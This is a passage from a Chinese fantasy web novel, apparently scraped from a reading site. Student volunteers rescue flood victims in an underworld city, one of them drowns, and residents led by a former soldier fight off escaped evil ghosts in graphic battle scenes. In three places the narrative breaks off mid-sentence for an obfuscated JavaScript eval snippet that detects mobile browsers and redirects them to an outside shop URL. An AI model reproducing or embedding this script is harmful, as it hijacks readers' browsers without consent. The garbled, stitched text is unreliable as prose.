就在他要无奈放手的前一刻,一双手、两双手、三双手……数不清多少双手突然搭在了保险杠上,止住了车子下滑的趋势。他扭头一看,一队佩戴着桂叶徽章的高大男女恍如神兵天降,绷紧肌肉牢牢抓住车子,好像抓紧了车中男女的生命线。一双手将绳子绑在后保险杠上,一张嘴大声喊道:“我喊一二三,大家一起用力拉呀!” “一二三!用力!一二三!用力!” 大家涨红了脸,同时用力拉住绳子,太阳穴青筋暴露,手臂肌肉贲张。人多力量大,随着持续不断一二三的口令,车子当真一点一点被拉了上来! 爸爸妈妈跳出车子,狂喜地抱住向自己跑来的儿子,一家三口嚎啕大哭,向救命恩人跪地感谢:“谢谢大家,谢谢你们……请各位恩人留下姓名,容我们日后一一道谢!” “不用客气,我们是志愿者协会的!”高大男女们笑着指指胸口的桂叶徽章,“记住,见到带着桂叶徽章的人,就可以向他们请求帮助!” 这一天,一万五千名佩戴桂叶徽章的学员投入了救灾一线,有技术的抓捕恶鬼、维修道路、扑灭大火;没技术的护理伤员、清走土石、搬运物资……他们的身影处处可见,虽然跟偌大的救灾战场比起来,一万五千人不过是小小的火星,但这些火星却带来了大家急需的一切:干活的人手、救灾的技术和不屈不挠的意志,大大加快了救灾的进度。 他们咬着牙肩挑手挖,将人从废墟中挖出来;他们裹着灭火毯冲进火场,将人从火场中抬出来;他们手挽着手组成人墙,将人从洪水中背出来,无数受困者因他们的到来而逃出生天,无数家庭因他们的到来重获团圆……自然,那桂叶徽章,也随着他们的到来,烙在了每一个人的心里。 这场大灾难结束一年后,这座城市新建的广场上,树立起了一座桂叶形状的丰碑。每一个被拯救过的人,都在丰碑落成那天,在碑前献上了一枝桂花。微风吹过,人们发现,如此微小平凡的花朵,却散发着如此馥郁的幽香。丰碑背面,刻着一行闪光的铭文: “自是花中第一流。” 36. 世界上最宝贵的 “四梅姐,后面还有多少人?” “没多少了,还有一百多人!估计一艘船就能全部拉走,金毛毛说他要再仔细搜一遍,确认没人被落下!” “吴晓云,司铜,你们俩做好登记,一会儿把表格直接交给转运船上的负责人!” “是,队长!”吴晓云歪戴着帽子,争分夺秒地在楼上开始统计人口。这里是花峰镇最高的楼,目前镇里被困人员都会统一安置到这栋楼上,由吴晓云和司铜来做登记。祝平安等人则用门板、木头等漂浮物,用长绳结起来,扎成几个能载人的筏子,驾驶着筏子在镇子里来回搜救被困人员。 吴晓云和司铜本想也跟着下水,但祝平安几经考量,还是把他们留下了。两人是□□和六道轮回部的学员,体力较差,又不像温尔雅那般有治愈能力,只怕下水也是添乱,加之被救出来的被困群众也要人看顾,还是让他们做后勤接应工作最合适。 “大娘你小心,这里木筏过不去,得我们自己游进去了,来,我背你!”祝平安把木筏撑到大楼旁边拴好,自己背着一个大娘下了水。身后,白子欣、叶霆霓等人也都背负着船上的被困群众从二楼的窗户游进去,水已经积的很高,现在想要进出大楼都只能靠窗户。 如此忙碌一夜,重复背负了七八十个人入水,祝平安累的已经不成人形,只想躺下休息。她身后的温尔雅也是浑身湿透,衣衫褴褛,再不复光华洁净,湿漉漉的头发乱糟糟地盘在头顶,乍一看跟水鬼毫无分别。当最后一名被困者也被转移到楼上,下水搜救的七个人随便找了个地方一靠,下一秒就开始呼呼大睡。 睡不到两个时辰,祝平安便被吴晓云的说话声惊醒了:“卫珑,快起来,我在楼顶看见转运船过来了,你骑送魂鸟过去,把船带过来!” 卫珑惊醒,立刻爬起来,走向送魂鸟。祝平安也跟着一骨碌爬起来了:“大家起来!把被困群众整顿好,送他们上船!” 吴晓云的登记表格做的很漂亮,被困群众的性别、年龄、家庭情况、原住址、是否健康、是否需要送往医疗点、是否需要特殊照顾都记录的非常明确,这让接手人员也能很快的了解这些人的需求。祝平安看着这份表格,不由得夸奖了:“这表格做的真细致!” “温副会长教得好。”吴晓云悄悄地瞥了一眼温尔雅,有点害羞的笑了。她是个颇为可爱的姑娘,身材娇小,鼻梁上架着一副圆圆的眼镜,心思像是白开水一样清澈,有什么想法都写在脸上。 祝平安看出吴晓云的心思,促狭地吹个口哨:“是呀,跟温副会长学习的机会可是千金难买,你用你爷爷那把北伐老枪换到这个机会,可是捡了大便宜哦。” 她早就知道吴晓云对温尔雅有意思,何止是吴晓云,学校里对温尔雅有意思的女孩简直是车载斗量。身为温尔雅的好朋友兼志愿者协会副会长,她利用温尔雅的美色也不是一次两次了,在分组的时候便又果断利用了一次职权,吸纳吴晓云进组,收取的报酬就是送给里奥的那把莫辛纳甘步枪。 吴晓云脸红了,又悄悄看了一眼温尔雅,娇嗔道:“祝副会长说什么呢!” 温尔雅好像没听见一样,把身子转了过去:“人数都统计好了,那就让大家以家庭为单位排队吧,我们先把不能行动的抬下去,让他们优先登船。” 祝平安心下暗叹,落花有意流水无情,现在也不是想这些的时候,“四梅跟毛毛,把门板拿好,先把这十几个伤员抬下去!。” 卫珑很快就引着转运船过来了,伤员立刻被抬了上去,谁知到大部队登船的时候,又出了差错。 为了节约载重,受灾群众只能自己登船,随身行李一律不能带。但是,有些东西是可以舍弃的,有些意义特殊的东西却是无法抛弃的:成人礼上父母赠送的昂贵小提琴、新婚时妻子亲手编织的毛衣、记录着一生回忆的相册…… 能从洪水中抢救出来随身携带的,都是大家的珍宝,有人把它们看的比生命更加重要,不少人表示,如果这些东西不能带走,他们就也不登船了,留在楼顶等水退算了。 登船进度一下慢了下来。最终经过一番协商,受灾群众提出一个方案:将这些物品放在木筏上,用绳子把木筏和转运船连接起来,这样既不挤占船上载重,又能尽量保留大家的物品。 这个方案得到了道路运输部的勉强同意,很快,大家的宝贝就都放在了小木筏上。为了保证物品安全,木筏上还得安排一个人来看管它们,以防这些物品掉进水里。 “我去吧。”吴晓云当仁不让地站出来:“我体重最轻,对木筏造成的压力最小,最适合担任这个任务。” “姑娘,你可得好好保护我的手稿啊!这是我一辈子的心血,世界上只有这一份!”老教授拉着吴晓云殷殷叮咛。 “孩子,这四个金镯子是我结婚时,我娘给的陪嫁,我进棺材的时候也套在我手上,将来投胎我也要带了去,你可不能给我弄丢啊!”一个老大娘把四个手镯塞在吴晓云手里。 “姐姐,这是我的玩具锡兵,为了鼓励我战胜病魔,妈妈特意买给我的,最后烧给了我。一盒里面有十个锡兵,你要一个都不少的把他们带回来哦!”说话的是个五六岁的小孩子,他举着一个大玩具盒,依依不舍地拜托吴晓云。 “大家放心,你们的宝贝就是我的宝贝,我保证,人在东西在,人不在了,东西也还在!”吴晓云郑重其事地将这些有特殊意义的物品用防水布包了两层,塞进了自己的随身背包,拍着胸脯向大家保证了。 那就是吴晓云留在世间的最后一句话了。 当转运船行走到一半的时候,遇上了一处落差地形,洪水在那里形成了小瀑布。转运船猝不及防,猛然下冲,巨大的力量一下将后面缀着的小木筏拉翻。 没有来得及发出任何声音,甚至没来得及惊骇地叫一声,祝平安眼睁睁地看着,吴晓云跟群众们最宝贝的物品一块腾空而起,翻入了水中。 浊黄的瀑布激起旋涡,锋锐的砂石与破碎的木块旋转不停,轻易地掩埋了那些最珍贵的宝贝。 那一天,祝平安等人在水下打捞了很久。 她们捞回了昂贵的小提琴,妻子亲手织的毛衣,记载着一生记忆的大相册……散落在水底的珍宝那么多那么多,她们什么都找到了,却始终没有找到,那个戴着眼镜的可爱女孩。 祝平安一遍又一遍的潜入水中,直到累的再无力行动,金毛毛将她背上了道路运输部留给他们的救生艇,温尔雅接替祝平安下潜,继续打捞那失落在水底的宝贝。 最终,像等待意中人来接的新娘一般,吴晓云是被温尔雅抱出水面的。 女孩的眼镜已经不见了,她湿润的长发像海藻一样搭在肩膀上,洁白的脸庞泛着珍珠般的光彩,好像从海洋中诞生的维纳斯。她静静地依偎在温尔雅的胸膛上,圆圆的眼睛依然睁的大大的,似乎还想要看到眼前人的脸庞。 温尔雅将她横抱在怀中,轻轻为她合上了双眼。 温尔雅身后,金毛毛也冒出水面,他抓着一根绳子,绳子的另一头,是吴晓云的随身背包。他们找到她时,她被那个背包的重量坠在水底,根本浮不上来,只能分开打捞。 背包里面的东西完好无损,甚至老教授的书稿都没有进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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就在一天之前,魏玄成说的那个荧惑星君的故事,她还可以当个言情小说听,什么冲冠一怒为红颜啦,整个国家都为你陪葬啦,让世界生灵涂炭啦,透露出一股老土可笑的感觉。 但现在,亲眼目睹那高高在上的天神任性的“爱”造成了什么后果之后,祝平安再也不觉得那故事有多好笑了。 xx的,谁不是爹生娘养的?爱是什么稀罕物,活一辈子谁还没爱过了?就你的爱高贵,你要轰轰烈烈爱一场,就拿别人的命当你追妻火葬场的燃料吗? 珍重地将吴晓云的会徽收好,祝平安闭上眼,再睁开时,眼神已经变得无比森冷。 “爱”,从来不是作恶的理由。造成这一切灾难的荧惑星君,必须为他那可笑的“爱”付出代价! 望着滔滔黄水,在心中最后一次与吴晓云告了别,绿火再燃,祝平安收到了新的任务。九陵街道已经被百鬼围困,祝平安等人要去将街道的恶鬼扫荡干净,带领被困群众突围。 九陵街道——正是祝平安的家,看到消息,祝平安立刻就坐不住了:“大家伙儿,动起来,现在的目标是去九陵街道,击退地狱恶鬼!” “要记住教训,人命第一,身外之物在这会儿都不重要,这次群众要拿什么,都不能让他们带了。”温尔雅补充了。 祝平安点点头,又补了一句:“大家一定要照顾好司铜,我们队伍再也不能减员了。” “要么还是让司铜到安置点照顾受灾群众吧,这样更安全一些。”白子欣建议了。 “不要!”司铜摇头否决了这个提议,他是个文质彬彬的男子,看上去有三十出头,“我们是一个小队,就要同进同退,我怎么能到安置点去,那不成了逃兵吗?大家不要顾虑我,我还撑得住!” 见司铜意志坚决,大家也就不再勉强。卫珑向送魂鸟发出加速的信号,一行人全力向着九陵街道飞去。 37. 九陵保卫战 “协防队!继续寻找可使用的材料,制作障碍物!” “工兵队!你们把已经做好的障碍物堆到各个路口去,再加固一遍铁丝围栏,不能放一个人进来!” “通讯队!你们要把自行车准备好,一会要你们传令时不能掉链子!” “侦察队!每隔半个小时向我汇报敌人动向,不得有误!” “后勤队!煮饭的同时记得到阵地前搭上几个灶头烧热油,发现敌人就用油锅泼他们!” “战斗队!你们手里的晾衣杆不是晾衣杆,是长枪!木锅盖也不是锅盖,是盾牌!一定要打从心里相信这一点,现在两两分组,再练习二百遍突刺动作,保卫家园就看你们的了!” 里奥身穿笔挺的红色衬衫,头戴一顶大檐帽,脚蹬马靴,身后背着祝平安送她的那把老步枪,打扮的像个指挥官一样,一举一动都干脆利落至极。她骑着小摩托巡视街道,不时下发一条条命令。 随着她的指挥,被点到名字的队伍都向她脚跟一碰敬了个礼,随后忠实的随着她的命令忙成一团,简直就像真正的阵地一样。 昔日里可笑的小摩托在今天可显得威风极了,起码九陵街道的居民们看到那小摩托的时候,一颗心立刻就会放回肚子里。 小摩托的主人里奥,跟他们也邻居几十年了,倒不知道她有这样行军打仗的本事!王婶子挑着一大桶油往街口走,听着北伐军歌的旋律,自己的脚下都不由得跟着踢起了正步。 九陵街道就在十八层地狱入口附近,也算是城中心了,往日繁华热闹,到恶鬼出逃时也是首当其冲。城里大乱的那天,大家都惊恐的不知如何是好,听着外面万鬼哭嚎,只吓得缩在自家不敢动。 也该着王婶家倒霉,那天睡觉时忘记拴后门了,很快,就有几名恶鬼发现了这个漏洞,闯入她家,抢劫了他们的钱不算,甚至还要侮辱王婶的闺女! 王叔王婶极力反抗,但小老百姓哪里是恶鬼的对手,很快就被恶鬼们捆了起来,要他们眼睁睁地看着闺女遭人猥亵。王婶挣的手腕血都出来了,拼命破口大骂,哀嚎求救,可她的反应好像只是增加了恶鬼们的情趣一样,其他邻居也不敢惹火上身,王家不由得绝望了。 就在这时,一柄雪亮的刺刀挑开门帘,悄无声息地从背后捅进了那恶鬼的心脏,恶鬼裤子刚脱到一半,便吐着血倒在王家姑娘身上,吓得王姑娘大叫。紧接着,里奥从门后出现,趁着其余两名恶鬼还没反应过来,一个突刺,又干掉一个。 剩余那名恶鬼见来了个硬茬子,两个同伙又被做掉了,不敢应战,翻出窗子逃跑了。里奥担心有诈,也没有去追,只是先将王家三口解开,见他们吓得战战兢兢,便邀请王家三人跟自己一起行动。 王家人当然求之不得,认定此时跟着里奥最安全。里奥在王家搜索一番,找到脸盆、锅盖、晾衣杆、凉席等用品,就用这些临时装备把王家人武装起来,跟她一块出门巡视去了。 那天夜里,里奥把整个九陵街道巡视了三遍,不仅救了王婶一家,还救了周大叔、赵嫂子、李爷爷……在赶跑了八个恶鬼,救了三十六口人之后,越来越多的人加入了里奥的队伍。 当里奥身后跟着的人数超过一百时,零星的恶鬼已经不敢再踏进这条街道了,柿子要捏软的,干嘛跟人多势众的队伍过不去?其余不敢露头的居民也慢慢醒过味来,这么乱的时候,抱团求生才是最佳的选择。 总之,巡视结束后,里奥已经拉起了五百多人的队伍了。 接下来,里奥火速将大家分成各个小队,开始封堵街区入口,布置阵地,练习战斗动作,一副磨刀霍霍的样子,吓得恶鬼们一愣一愣,在外围打着转不敢下手。经此一役,居民们都无比信任着她的能耐,比起街镇行政部跟应急管理部的专员,里奥现在才是这个街道的最高长官! 真不愧是当年在街头搞过爱国演说的人,组织能力可是max级别的,祝平安的才能,说不定全部来自曾外太婆的遗传。 里奥看似胸有成竹,其实内心也是压力极大。街道的居民毕竟不是军人,又多是老弱病孺,顶事的壮劳力才两百多个,其中一大半也不能真的上战场,在她身后充数巡街就已经是极限。九陵街道这阵势吓吓那些零星的恶鬼还可以,却根本抵挡不了上百恶鬼的冲击…… 好死不死,九陵街道是附近最富庶的街道,有众多商铺,里面装满了恶鬼们眼馋的物资:燃料、食品、药品……这固然是里奥抗争到底的底气,也是引发恶鬼们贪念的理由。随着附近几个街道都被抢劫的差不多,恶鬼们也逐渐统一成了一个五百多人的集团,他们已经等不及要一口吃下九陵街道这块大肥肉了! “敌袭!敌袭!” 凄厉的警报响了起来,果然,说曹操,曹操就到,里奥一咬牙,小摩托猛然加大马力向着警报传来处开去。真是的,应急管理部职员说的救援在哪里?怎么还不来……里奥暗暗地皱起眉头,仰望着上空,天知道她能不能撑过去? 金光普照,仙乐飘飘,祥云万朵,玉宇琼楼,雪白的凤凰啄弄羽毛,悠闲的仙人吹着玉箫,无论下界已经变成了什么样子,天界依然是如此宁静祥和,仿佛什么样的震动都传递不到九天之上。 魏玄成灰头土脸地走到凌霄殿前,立刻引来四大天王的关心:“人曹官,你这是怎么了?为何如此狼狈?” “四位天王请恕在下无礼,事关重大,我现在就要面见玉帝,就不陪各位了,待有了闲暇再向诸位陪罪。”魏玄成哪有心思跟他们闲扯,迈步就要上凌霄宝殿。 “人曹官,你怎么糊涂了?”四天王拦在凌霄殿前,不让他进去:“今天是玉皇寿诞,天界连休三天假,非办公时间里面是没人的,你进去见谁?” 魏玄成待在原地,张大了嘴——该死的!怎么偏偏赶到今天休假! 他急了:“本官现在必须面见陛下!事态紧急!地府已经被人搅成一锅粥了!” “那你只能试试走紧急通道了。”四天王从腰里拿出个玉牌,“你拿着牌子去一趟南天门值班室,看看他们能不能帮你上报。” “多谢天王!”魏玄成扔下这句话,驾起祥云就跑。 “你们看这人曹官,真是去地府指导工作太久了,都忘了咱们天上的日子是怎么过的了。你急着跑有什么用哦?什么天大的事情你也得层层上报,不拖你个三天五天的都是好的了。”望着魏玄成离去的背影,四天王摇了摇头,似乎已经看到了他的命运。 天界的救援一时半会儿是盼不来了,祝平安他们倒是在路上了。卫珑知道去的是祝平安的家,驱动着鸟儿不要命般的拍着翅膀,然而敌人近,援兵远,里奥所在的九陵街道还是不可避免地陷入了苦战。 “长官,我们准备的热油已经全部泼出去了,防御工事也撑不住了!是不是准备后撤打巷战?”王叔用后背顶住摇摇欲坠的防御工事,扬声询问了。 “不能轻易开启巷战!我们的人不是他们的对手!”里奥一咬牙,向后面大吼:“之前让你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837506|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们准备的□□呢?快拿过来!” 用瓶装白酒和棉布制成的□□很快就推了过来,里奥身先士卒,当先拿起一个□□,从兜里掏出火柴将□□上的棉布点燃,一甩手向着敌群扔了过去。 只听一声玻璃飞溅的脆响,酒瓶炸开,被酒水泼洒到的地方立刻腾起妖艳的蓝色火舌。三名恶鬼中了招,被烧的嗷嗷惨叫,里奥再接再厉,连续掷出四五个□□,阵地前腾起一片蓝色的燃烧带,暂时逼退了恶鬼。 “工兵队上前,重新加固防御工事!”里奥马不停蹄地指挥了。 轰隆一声巨响,惊的里奥猛然回头,一个传令兵把自行车骑出八十迈的速度,跌跌撞撞地向她奔过来:“不好了长官!后门被敌人用土制攻城机撞开了!” “王叔,这里交给你,我去看看!”里奥立刻跳上自己的小摩托,向着后门而去。 所谓的土制攻城机,其实就是一根被砍下来的大木头,不知恶鬼从哪里找到了带轮子的固定架,组合后一鼓作气,终于将后门撞开。战斗队壮着胆子上前,用晾衣杆和锅盖与敌军展开了激烈的战斗,但战场局势依然是一边倒的,所谓的武器只能让他们勉强周旋三回合再落败而已。 “闪开!” 随着一声怒吼,战斗队的成员纷纷退开,白亮的车灯刺伤了敌军们的双眼,摩托的轰鸣震耳欲聋,战场上响起了慷慨激昂的军歌,里奥从背后抽出那只步枪,枪尖的刺刀绽放着明亮无比的光芒。 那一瞬间恍如时空倒转,战斗的热血又回到她的身上,里奥握紧刺刀,像个斗牛士一样在摩托上俯下身子,把油门开到最大,往昔只开二十迈的三轮摩托此时马力全开,跟它的主人一起,变成了战场上最耀眼的红色闪电! “杀!!!” 随着一声怒吼,那道红色闪电扑入敌军阵中,高速行驶的摩托成了无法阻拦的怪兽,而里奥伸出的刺刀就是那怪兽的爪牙,恶鬼们纷纷惨叫着,被那雪亮的刺刀捅了个对穿。 一个、两个、三个、怪兽始终没有停下来,十来个恶鬼被撞飞出去,里奥手上的刺刀已经挂着三个被穿成糖葫芦的恶鬼。 她看都不看,抖抖手便将那些尸体甩下去,鲜血在她脸上喷溅,把她映衬的像是降临人间的女武神。道路已经到了尽头,她将刺刀持稳,调转车头,再次冲锋:“杀!!!” 昔有常山赵子龙单枪匹马,在敌阵中杀了七进七出,里奥只来了两进两出,恶鬼们就被她的勇猛吓破了胆子,向后撤去。里奥趁机又投掷了几个□□拦住他们,便叫工兵队赶快修补后门。 依靠着勇猛、防御工事和□□,里奥扛过了艰苦卓绝的两小时,九陵街道共计斩杀恶鬼二百名,但她的体力不是无穷无尽的,弹药更不是无穷无尽的,可是敌人却好像是无穷无尽的,无论怎么努力都杀不完! “长官,前门的□□用完了,只怕要守不住了!” 王叔惶急的声音已经变了调,里奥苦笑一声,她的声音已经嘶哑的说不出话,手也抖得拿不稳步枪了,却还是翻身骑上了自己的小摩托。 嘿嘿,看来这就是一切的终点了,但也没什么好不满意的。醉卧沙场君莫笑,古来征战几人回? 作为人,她窝囊地死在产床上,作为鬼,能够手握心爱的钢枪,死在保卫家园和百姓的战场上,那是她的荣耀! 在心里最后一次吻过那个人的脸,里奥再度拧紧了油门,当车子冲出去的瞬间,她凝聚出最后的力气,大吼一声:“杀——!!!” 38. 九陵反击战 祝平安匆匆赶来时,看到的就是里奥被敌军围困的场面。 街道一片焦黑,烟雾滚滚,她衣衫褴褛,满面脏污,身上的血痕说不出有多少,只一双眼睛亮的可怕,依然背靠着阵地的防御工事一步不退,将手中刺刀使得滴水不漏。一些举着锅盖的居民在她身边结成盾牌阵,不时还有热油乱石向着敌阵飞过去,尽力为里奥挡住一些敌人。 “卫珑,快速下降,白子欣,四梅姐,把武器拿好,一会儿四梅姐打头,我跟白子欣随后,金毛毛你拿盾牌,在最末尾保护叶霆霓,给她创造施法空间!温尔雅和司铜不要下车,卫珑你送他们去安全的地方!” 强自压下心中的紧张,祝平安将自己思考的阵型说出来,这次是真要面对械斗战场了,她不希望非战斗人员出事。 “不行!”温尔雅旗帜鲜明的反对了,他虽灰头土脸,不复平日风华,却依然有种震慑人心的力量:“既已到此,我必定要与你同进退!” “我们能帮上忙的!”司铜也在恳求,“连下面那些大妈也能烧热油来迎敌,难道我就不行吗!” “别婆婆妈妈的!”林四梅一挥手,打断了还想要说什么的祝平安:“下面的老百姓难道是战斗人员吗?百姓都能上战场,他们俩有啥不行?多个人多份力,决定出来救灾的时候,哪个没想过会死!” 车门打开,林四梅抄起防暴叉当先跳了出去,祝平安一咬牙,手持拘魂锁也跳了下来:“阵型调整!四梅姐打头,金毛毛和白子欣保护四梅姐两翼,温尔雅、卫珑跟在他俩后面,司铜用盾牌保护叶霆霓施法不受干扰,我来断后!” 林四梅不愧是久经战阵,一把防暴叉在她手里舞弄的虎虎生风,左刺右拨,硬生生从侧翼撕开了一条口子。 被她横扫的恶鬼站立不稳,白子欣立刻舞起拘魂索,将那恶鬼抽翻,只见那拘魂索金光闪闪,恶鬼一被抽打,便好像被烙铁烫了一般嘶嚎起来,身上腾起一阵白烟,眼见得身形都小了一圈! 见有机可乘,卫珑立刻抽出匕首,干脆利落地捅进那恶鬼的心脏。这是她生平第一遭杀人,但出奇的,她居然不感到恐怖,甚至,她还觉得那恶鬼的血液对她产生了一丝致命的吸引,让她忍不住想要一口吃掉他们,就像金毛毛一样…… 另一侧,金毛毛已经四肢着地化成原身,那是一只巨大无比的金毛犬,肩高两米,壮如猛虎,眼露凶光,粗大的爪子像是一爪就能斩断钢筋,它冷漠无情地把被林四梅撞翻的恶鬼踩在爪子下面,龇出一口雪白的尖牙,一口就将那恶鬼的头颅咬掉吞吃了下去! 咕咚一声将嘴里的血肉咽下,金毛毛舔了舔自己下巴上的血,用大爪子又抽飞一人,他一边战斗,一边还不忘用大尾巴把温尔雅圈住,防止有恶鬼伤到他。 温尔雅看着环在自己腰间的大尾巴,在心里默默感谢了金毛毛的好意,但其实金毛毛是多此一举。身为后土大神的祭司,他虽说没有什么战斗的能力,但自保还是绰绰有余的。 战场上太乱了,再加之叶霆霓在背后画符召雷,不时便有雷电劈下来,大家只顾着看头顶,根本没人注意到,地面有了一些微妙的起伏。当恶鬼们向着这支小队扑来的时候,原本平坦的地面总是会出现坑洼或者小土坎,导致他们脚步踉跄,失去平衡,这大大拖慢了他们进攻的步伐,甚至还有些恶鬼直接摔倒在地。 哎?刚刚那是……传说中的平地摔? 祝平安目瞪口呆,看着即将扑到她面前的敌人摔了一个狗吃屎,爬都爬不起来。难道也跟她一样,头一次上战场紧张了? 在心里暗暗地犯着嘀咕,祝平安鼓起勇气,思考着在学校学到的那些实战课程,为了给自己壮胆,她大喝一声“杀!”,随后抄起拘魂索劈头盖脸地抽向倒地的恶鬼。 由于过于紧张,她下手又急又快,生怕那恶鬼喘过气来反扑,五秒之内居然击中了那恶鬼十几次,手速快的都出残影了。那恶鬼惨叫连连,身上白烟腾腾,最终越缩越小,居然直接被祝平安抽的灰飞烟灭! 战斗好像也不是很难嘛!一击得胜,加之这种杀敌方式没有见血,祝平安紧张害怕的心情平复了大半,立刻抡圆了膀子左抽右打,不忘大喝:“杀!杀!杀!” “杀!” 里奥猛然抬头,她似乎听到了祝平安的声音!难道是过于疲劳产生幻觉了? 不,那不是幻觉,阵地内侦察队的人也开始指着一个方向大叫起来:“长官!那边来了一队人马,好像是来救我们的!” 里奥顺着侦查队员手指的方向看过去,便看到铁塔一般的林四梅从敌阵后面杀了出来,身后还跟着更显眼的一只大狗!只见林四梅灵活地在人群里游走,不时施展出蔡拳招式打倒一个近身的恶鬼:“师父!你再撑一会,我们马上就来救你!” “里奥!坚持住,我们来了!”这是祝平安百忙之中的大叫。 “是援军!援军来了!”见到有人救援,九陵街道居民士气大振,高举着锅盖欢呼起来! 有了希望,居民们的精气神都不一样了,里奥趁势组织战斗队拼命前推,方才摇摇欲坠的防御阵型居然硬生生地顶住了! 真是一块难啃的硬骨头!战阵中心的恶鬼头目见九陵街道居然来了帮手,心中暗骂一声难缠,他也算是个人物,当机立断:“那些居民已经是强弩之末,不堪一击,给我全力制服他们的援军!不能让他们形成前后夹击之势!” 在头目的一声命令下,恶鬼们立刻放弃了攻击阵地,转向祝平安小队发起了不要命的猛攻。毕竟是以8人对300,小队的压力陡然增大了。 很快,冲锋在最前面的林四梅就被人捅伤了大腿,金毛毛也中招了。他的体型太大,躲避不灵,只听一声惨呼,金毛毛的前爪被狠狠砍了一刀,鲜血很快就沁湿了金毛毛的皮毛。失去了一只前爪作战,金毛毛身前破绽更多,接二连三的刀子如暴雨般落在金毛毛身上,很快就把他砍成了一团模糊的血肉。 “你快化成人形啊!”祝平安焦急的大叫,“你现在的个头太大了,会被当成活靶子的!” 金毛毛却摇了摇头,他的脸也中了一刀,小半个鼻子削掉了,显得狰狞可怕,可他看向伙伴们的眼光还是那么温和:“个头大正好,有我在前面顶着,敌人就很难砍到你们了!” “别怕,我不疼的,看到你们没受伤,我就一点都不疼!” “要是我死了,一会儿你们就用我的尸体当盾牌,只要能帮到你们,我就很高兴。” 金毛毛的狗脸难看的咧了一下,熟悉他的人都知道,那是他的“微笑”。 “金毛毛你胡说什么呢!你死了之后做不了盾牌的!你那么重,谁推得动你!”卫珑挥舞着从敌人手中夺来的长刀,猛地窜到金毛毛身前护住了他,鼻涕眼泪流了一脸:“想要保护我们就不许死!不许死!今天谁都不许死!” 金毛毛那个微笑,激发了卫珑骨头里的那股子蛮劲,曾经那个娇蛮任性的大小姐卫珑似乎又回来了。她用尽全身力气挥刀,将面前的敌人砍倒,敌人的鲜血溅到了她的嘴里,没有空隙给她吐掉,她便毫不犹豫地咽了下去,继续作战。 就在此时,异变发生了。 卫珑的眼珠突然变成了猩红色,嘴角流下口水,身上的骨节也咯咯作响,她的身形猛然拔高,身上的肌肉块块鼓起,一眨眼的功夫,居然长得跟林四梅一样高大!! 卫珑丢掉长刀,发出无意义的嗬嗬声,转动猩红的眼珠看着面前向她扑过来的恶鬼,就好像看见了什么美味佳肴一样。 那恶鬼一刀砍来,居然只在卫珑身上砍出一道白痕,倒把恶鬼惊得呆住了。卫珑对他的攻击全不在意,只一伸手,就像提小鸡一样把那恶鬼提了起来,像是拧一个瓶盖那样轻松地拧掉了他的脑袋,把那腔子里喷出来的鲜血统统灌入肚中! 随着卫珑喝下更多的血,她的身形再度暴涨,都快跟金毛毛一样大了,祝平安惊骇地抓着温尔雅的袖子:“卫珑这是怎么了?她怎么、怎么……” 温尔雅眼中冒出精光:“噬鬼之能……她能够吞食恶鬼来增加自身的力量!这是天师钟馗一脉的能力,想不到这个卫珑,居然是钟馗的血亲!” “毛毛快变回原型,白子欣,背上毛毛,司铜背四梅姐!全体上前,以卫珑为前锋,咱们一鼓作气,冲啊!!!”见到卫珑的异能,祝平安敏锐的察觉到了战机,立刻呼叫大家改变了阵型! 闪电下劈,烈焰升腾,断肢与人头齐飞,脏腑共鲜血一色,天师噬鬼之能果然不同凡响。 卫珑的战斗方式残忍至极,到最后,她已经有两层楼那么高,就像抓糖豆一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837507|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样一把一把抓起恶鬼们往嘴里塞,鲜血跟肉糜从她刀片一般的齿缝溢出来,场面的血腥指数超过了任何一部违禁片。 白子欣没撑住,已经吐了,祝平安比他好点,但也是脸色苍白,目睹过卫珑的战斗后,祝平安觉得自己再上什么样的战场都绝不会紧张了。 有了这样一个大型推土机在前,救灾小队很快就与里奥汇合了。 里奥此时已经没有一块好肉,脊背有三处刀伤,四肢两处骨折,体表无数淤轻,手指也被火焰灼伤。她的伤势如此严重,按理说早就该倒下了,却不知为什么,她居然能够屹立不倒,甚至还能作战! “我这辈子绝对不能再输第二次!”里奥只是这样解释,她丝毫不在乎自己的伤势,反而夸奖祝平安:“真不愧是我的曾曾外孙女,像我!第一次上战场就能做的这么好,你将来一定能比我强!” 含泪检查着里奥身上的伤口,再看看已经重伤不起的金毛毛、难以行动的林四梅、变成巨鬼的卫珑,祝平安的胸口起伏,心脏疼的扭曲成一团。 “你们等着,我绝不会放过他们!”轻轻地擦掉里奥脸上的鲜血,祝平安做出了自己的许诺。 看着两边汇合,恶鬼头目恨得咬牙切齿,无奈何,卫珑的存在就是天生为了克制他们而生的,恶鬼们损失惨重,现在只剩下八十余人还簇拥在他身边,头目很快就做出了当前对他最有利的决定:“我们撤!” “他们跑了!我们赢了!”阵地内的群众,看出了恶鬼头目正在收拢残部后撤,纷纷欢呼起来。 “哪里跑!”祝平安眼中闪过一丝愤怒,东西抢了,人也伤了,现下打不过就想一走了之?天下没有这么便宜的事情! 